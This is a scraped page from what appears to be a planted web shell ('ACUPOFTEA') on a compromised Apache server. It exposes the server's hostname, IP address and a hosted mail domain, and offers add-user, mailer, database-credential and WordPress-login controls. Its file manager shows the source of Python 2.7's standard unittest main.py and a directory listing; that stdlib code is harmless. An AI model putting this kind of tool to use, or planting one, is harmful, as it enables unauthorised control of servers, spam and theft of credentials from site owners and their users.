System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
unittest
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
main.py
"""Unittest main program""" import sys import os import types from . import loader, runner from .signals import installHandler __unittest = True FAILFAST = " -f, --failfast Stop on first failure\n" CATCHBREAK = " -c, --catch Catch control-C and display results\n" BUFFEROUTPUT = " -b, --buffer Buffer stdout and stderr during test runs\n" USAGE_AS_MAIN = """\ Usage: %(progName)s [options] [tests] Options: -h, --help Show this message -v, --verbose Verbose output -q, --quiet Minimal output %(failfast)s%(catchbreak)s%(buffer)s Examples: %(progName)s test_module - run tests from test_module %(progName)s module.TestClass - run tests from module.TestClass %(progName)s module.Class.test_method - run specified test method [tests] can be a list of any number of test modules, classes and test methods. Alternative Usage: %(progName)s discover [options] Options: -v, --verbose Verbose output %(failfast)s%(catchbreak)s%(buffer)s -s directory Directory to start discovery ('.' default) -p pattern Pattern to match test files ('test*.py' default) -t directory Top level directory of project (default to start directory) For test discovery all test modules must be importable from the top level directory of the project. """ USAGE_FROM_MODULE = """\ Usage: %(progName)s [options] [test] [...] Options: -h, --help Show this message -v, --verbose Verbose output -q, --quiet Minimal output %(failfast)s%(catchbreak)s%(buffer)s Examples: %(progName)s - run default set of tests %(progName)s MyTestSuite - run suite 'MyTestSuite' %(progName)s MyTestCase.testSomething - run MyTestCase.testSomething %(progName)s MyTestCase - run all 'test*' test methods in MyTestCase """ class TestProgram(object): """A command-line program that runs a set of tests; this is primarily for making test modules conveniently executable. """ USAGE = USAGE_FROM_MODULE # defaults for testing failfast = catchbreak = buffer = progName = None def __init__(self, module='__main__', defaultTest=None, argv=None, testRunner=None, testLoader=loader.defaultTestLoader, exit=True, verbosity=1, failfast=None, catchbreak=None, buffer=None): if isinstance(module, basestring): self.module = __import__(module) for part in module.split('.')[1:]: self.module = getattr(self.module, part) else: self.module = module if argv is None: argv = sys.argv self.exit = exit self.failfast = failfast self.catchbreak = catchbreak self.verbosity = verbosity self.buffer = buffer self.defaultTest = defaultTest self.testRunner = testRunner self.testLoader = testLoader self.progName = os.path.basename(argv[0]) self.parseArgs(argv) self.runTests() def usageExit(self, msg=None): if msg: print msg usage = {'progName': self.progName, 'catchbreak': '', 'failfast': '', 'buffer': ''} if self.failfast != False: usage['failfast'] = FAILFAST if self.catchbreak != False: usage['catchbreak'] = CATCHBREAK if self.buffer != False: usage['buffer'] = BUFFEROUTPUT print self.USAGE % usage sys.exit(2) def parseArgs(self, argv): if len(argv) > 1 and argv[1].lower() == 'discover': self._do_discovery(argv[2:]) return import getopt long_opts = ['help', 'verbose', 'quiet', 'failfast', 'catch', 'buffer'] try: options, args = getopt.getopt(argv[1:], 'hHvqfcb', long_opts) for opt, value in options: if opt in ('-h','-H','--help'): self.usageExit() if opt in ('-q','--quiet'): self.verbosity = 0 if opt in ('-v','--verbose'): self.verbosity = 2 if opt in ('-f','--failfast'): if self.failfast is None: self.failfast = True # Should this raise an exception if -f is not valid? if opt in ('-c','--catch'): if self.catchbreak is None: self.catchbreak = True # Should this raise an exception if -c is not valid? if opt in ('-b','--buffer'): if self.buffer is None: self.buffer = True # Should this raise an exception if -b is not valid? if len(args) == 0 and self.defaultTest is None: # createTests will load tests from self.module self.testNames = None elif len(args) > 0: self.testNames = args if __name__ == '__main__': # to support python -m unittest ... self.module = None else: self.testNames = (self.defaultTest,) self.createTests() except getopt.error, msg: self.usageExit(msg) def createTests(self): if self.testNames is None: self.test = self.testLoader.loadTestsFromModule(self.module) else: self.test = self.testLoader.loadTestsFromNames(self.testNames, self.module) def _do_discovery(self, argv, Loader=None): if Loader is None: Loader = lambda: self.testLoader # handle command line args for test discovery self.progName = '%s discover' % self.progName import optparse parser = optparse.OptionParser() parser.prog = self.progName parser.add_option('-v', '--verbose', dest='verbose', default=False, help='Verbose output', action='store_true') if self.failfast != False: parser.add_option('-f', '--failfast', dest='failfast', default=False, help='Stop on first fail or error', action='store_true') if self.catchbreak != False: parser.add_option('-c', '--catch', dest='catchbreak', default=False, help='Catch Ctrl-C and display results so far', action='store_true') if self.buffer != False: parser.add_option('-b', '--buffer', dest='buffer', default=False, help='Buffer stdout and stderr during tests', action='store_true') parser.add_option('-s', '--start-directory', dest='start', default='.', help="Directory to start discovery ('.' default)") parser.add_option('-p', '--pattern', dest='pattern', default='test*.py', help="Pattern to match tests ('test*.py' default)") parser.add_option('-t', '--top-level-directory', dest='top', default=None, help='Top level directory of project (defaults to start directory)') options, args = parser.parse_args(argv) if len(args) > 3: self.usageExit() for name, value in zip(('start', 'pattern', 'top'), args): setattr(options, name, value) # only set options from the parsing here # if they weren't set explicitly in the constructor if self.failfast is None: self.failfast = options.failfast if self.catchbreak is None: self.catchbreak = options.catchbreak if self.buffer is None: self.buffer = options.buffer if options.verbose: self.verbosity = 2 start_dir = options.start pattern = options.pattern top_level_dir = options.top loader = Loader() self.test = loader.discover(start_dir, pattern, top_level_dir) def runTests(self): if self.catchbreak: installHandler() if self.testRunner is None: self.testRunner = runner.TextTestRunner if isinstance(self.testRunner, (type, types.ClassType)): try: testRunner = self.testRunner(verbosity=self.verbosity, failfast=self.failfast, buffer=self.buffer) except TypeError: # didn't accept the verbosity, buffer or failfast arguments testRunner = self.testRunner() else: # it is assumed to be a TestRunner instance testRunner = self.testRunner self.result = testRunner.run(self.test) if self.exit: sys.exit(not self.result.wasSuccessful()) main = TestProgram
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
..
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
test
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
__init__.py
text/x-python
2.72 KB
-rw-r--r--
2024-04-10 04:58:35
__init__.pyc
application/octet-stream
2.97 KB
-rw-r--r--
2024-04-10 04:58:46
__init__.pyo
application/octet-stream
2.97 KB
-rw-r--r--
2024-04-10 04:58:46
__main__.py
text/x-python
238 B
-rw-r--r--
2024-04-10 04:58:35
__main__.pyc
application/octet-stream
488 B
-rw-r--r--
2024-04-10 04:58:46
__main__.pyo
application/octet-stream
488 B
-rw-r--r--
2024-04-10 04:58:46
case.py
text/x-python
42.95 KB
-rw-r--r--
2024-04-10 04:58:35
case.pyc
application/octet-stream
40.7 KB
-rw-r--r--
2024-04-10 04:58:46
case.pyo
application/octet-stream
40.7 KB
-rw-r--r--
2024-04-10 04:58:46
loader.py
text/x-python
13.18 KB
-rw-r--r--
2024-04-10 04:58:35
loader.pyc
application/octet-stream
11.11 KB
-rw-r--r--
2024-04-10 04:58:46
loader.pyo
application/octet-stream
10.97 KB
-rw-r--r--
2024-04-10 04:58:44
main.py
text/x-python
8.87 KB
-rw-r--r--
2024-04-10 04:58:35
main.pyc
application/octet-stream
7.81 KB
-rw-r--r--
2024-04-10 04:58:46
main.pyo
application/octet-stream
7.81 KB
-rw-r--r--
2024-04-10 04:58:46
result.py
text/x-python
6.16 KB
-rw-r--r--
2024-04-10 04:58:35
result.pyc
application/octet-stream
7.74 KB
-rw-r--r--
2024-04-10 04:58:46
result.pyo
application/octet-stream
7.74 KB
-rw-r--r--
2024-04-10 04:58:46
runner.py
text/x-python
6.38 KB
-rw-r--r--
2024-04-10 04:58:35
runner.pyc
application/octet-stream
7.45 KB
-rw-r--r--
2024-04-10 04:58:46
runner.pyo
application/octet-stream
7.45 KB
-rw-r--r--
2024-04-10 04:58:46
signals.py
text/x-python
2.35 KB
-rw-r--r--
2024-04-10 04:58:35
signals.pyc
application/octet-stream
2.72 KB
-rw-r--r--
2024-04-10 04:58:46
signals.pyo
application/octet-stream
2.72 KB
-rw-r--r--
2024-04-10 04:58:46
suite.py
text/x-python
9.58 KB
-rw-r--r--
2024-04-10 04:58:35
suite.pyc
application/octet-stream
10.29 KB
-rw-r--r--
2024-04-10 04:58:46
suite.pyo
application/octet-stream
10.29 KB
-rw-r--r--
2024-04-10 04:58:46
util.py
text/x-python
4.5 KB
-rw-r--r--
2024-04-10 04:58:35
util.pyc
application/octet-stream
4.41 KB
-rw-r--r--
2024-04-10 04:58:46
util.pyo
application/octet-stream
4.41 KB
-rw-r--r--
2024-04-10 04:58:46
~ ACUPOFTEA - mail.ontime-ae.com